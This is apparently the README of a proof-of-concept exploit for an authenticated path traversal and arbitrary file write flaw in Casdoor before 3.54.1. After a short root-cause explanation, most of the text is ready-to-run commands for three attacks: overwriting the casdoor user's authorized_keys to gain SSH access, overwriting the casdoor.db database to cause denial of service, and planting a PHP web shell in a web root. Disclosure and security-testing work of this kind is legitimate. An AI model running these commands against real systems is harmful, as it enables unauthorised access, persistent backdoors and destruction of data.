
Proof of Concept (PoC) exploit for CVE-2026-6815: Authenticated Path Traversal & Arbitrary File Write in Casdoor (< 3.54.1) leading to RCE/DoS.
This repository contains a Proof of Concept (PoC) exploit for CVE-2026-6815, an arbitrary file write and path traversal vulnerability in Casdoor.
The vulnerability has been fixed in version 3.54.1.
The attacker must be authenticated to the Casdoor instance with admin privileges or equivalent user having access to create and/or edit storage providers.
.ssh/authorized_keys, crontabs, or webroots.casdoor.db) or core binaries with arbitrary files immediately stopping the application.Casdoor allows administrators to configure storage providers. The Local File System provider fails to properly sanitize the pathPrefix configuration and the fullFilePath parameter during resource uploads.
By using directory traversal sequences (../), an authenticated administrator can escape the dedicated storage directory and write files anywhere the Casdoor process has permissions.
The vulnerability stems from insufficient path validation in:
object/provider.go: No validation on pathPrefix during creation/update.storage/local_file_system.go: The GetFullPath method does not verify if the resolved path remains within the intended sandbox.Install dependencies:
pip install -r requirements.txt
Run the exploit:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Write an attacker-controlled public key to the authorized_keys file of the casdoor user to gain SSH access.
Generate the ssh-key:
ssh-keygen -f casdoor_rce
Overwrite authorized_keys with the generated public key:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Obtain ssh shell on the remote host using the private key:
ssh -i ./casdoor_rce casdoor@target
Overwrite the application's local database file (e.g., casdoor.db) to cause a denial of service.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
If the server is hosting a secondary web server (e.g., Apache/Nginx) on the same filesystem, write a web shell into its document root.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
If you have administrative credentials for a specific organization and application (other than the defaults built-in and app-built-in), specify them using --orgname and --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
This software is for educational and authorized security testing purposes only. The author is not responsible for any misuse of this information.
Vulnerability discovered and PoC developed by Danilo Dell'Orco (sixpain).